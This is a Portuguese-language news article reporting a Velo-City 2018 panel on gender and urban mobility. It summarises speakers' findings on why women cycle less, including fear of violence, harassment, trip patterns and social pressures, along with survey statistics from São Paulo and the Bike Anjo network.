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Espaços Públicos 14.06.2018 — 12:00 pm

Violência e padrões masculinos intimidam mulheres no transporte

Foto Felix Lima
Suzana Nogueira no Velo-City / Foto Felix Lima

Decifrar todos os fatores que levam as mulheres usar menos a bicicleta do que os homens é tarefa que parece nunca se esgotar. No painel Gênero e Mobilidade, apresentado no Velo-City 2018 e parte do especial #EsquinaNoPedal, especialistas apontaram questões que vão desde o medo de estupro até a aparência esbaforida ao final da pedalada.

Gênero e Mobilidade / Velo-city 2018

📣AO VIVO 📣 Gênero e Mobilidade, Gender and Mobility, no Velo-city 2018, com Galo Eduardo Cardenas, Anvita Arora, JP Amaral e Suzana Nogueira. Bio dos palestrantes: https://www.velo-city2018.rio/copia-speakers#EsquinaNoPedal

Publicado por Esquina: Encontros sobre cidades em Quarta-feira, 13 de junho de 2018

A indiana Anvita Arora chamou a atenção para a importância de entender que homens e mulheres são diferentes e que, portanto, têm necessidades diferentes. Mas isso não se reflete nos sistemas de transporte público, que trata os passageiros como se fossem todos iguais.

“É diferente haver um sistema neutro, em que todo mundo é homogêneo, do que um sistema sensível à questão de gênero, considerando que há homens, mulheres, transgêneros. E isso começa no percurso até o ponto de ônibus”, diz Anvita, que é Ph.D. em Engenharia Civil pelo Instituto Indiano de Tecnologia (IIT), em Nova Delhi, e diretora de Transportes e Infraestrutura Urbana da Kapsarc, um think-tank de pesquisa de energia e economia baseado na Arábia Saudita.

Ela lembra que, além da questão biológica, a maneira como homens e mulheres se locomovem na cidade é completamente diferente. Eles fazem viagens de ida e volta enquanto elas fazem vários pontos de parada. Mesmo assim, ela prossegue, todo o sistema é desenhado para quem faz uma única jornada, sem falar em assédio e situações constrangedoras.

 

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A urbanista Suzana Nogueira, que participou da coordenação do Plano Diretor de Bicicletas na cidade de São Paulo, apresentou um recorte por gênero da pesquisa Origem e Destino. Os números apontam que elas são maioria entre os usuários de transporte público, 40%, e minoria entre quem usa carro, 25%. “Hoje o planejamento é focado no carro e na questão masculina”, diz Suzana. Ela ressalta o medo da violência contra a mulher como o fator preponderante na intimidação de ciclistas. “Em São Paulo, acontece um estupro a cada onze horas em um local público”, afirma.

JP Amaral, co-fundador do Bike Anjo Network e coordenador do projeto Bicicleta nos Planos, apresentou uma pesquisa realizada entre voluntárias e solicitantes da rede Bike Anjo. Além dos problemas de segurança, ele aponta preocupações estéticas e pressões sociais sobre como as ciclistas vão aparentar quando chegarem ao destino. Entre as voluntárias, 70% têm medo de assalto. Já entre o total de solicitantes que não sabe andar de bicicleta, elas são maioria absoluta: 90%, principalmente devido ao preconceito de gênero que impede o acesso à bicicleta na infância.

Felix Lima

JP Amaral no Velo-City 2018 / Foto Felix Lima

Galo Eduardo Cardenas apresentou o projeto Ella se Mueve Segura, realizado em Santiago, Quito e Buenos Aires, que analisa práticas e entrega ferramentas para que as cidades possam implantar. A violência de gênero no transporte tem maior incidência nas mulheres, ao mesmo tempo em que elas são as que manifestam maior vontade de usar a bicicleta em seus deslocamentos. Ele afirma ainda que crianças também sofrem violência no transporte público e que é preciso pensar no que fazer para que elas realizem viagens melhores. “O transporte é um meio masculinizado, as mulheres devem atrever-se a participar diretamente” diz Cardenas.

O Velo-City é o principal evento sobre bicicletas do mundo e acontece no Rio de Janeiro entre 12 e 15 de junho, no Píer Mauá, com patrocínio do Itaú-Unibanco.

#EsquinaNoPedal
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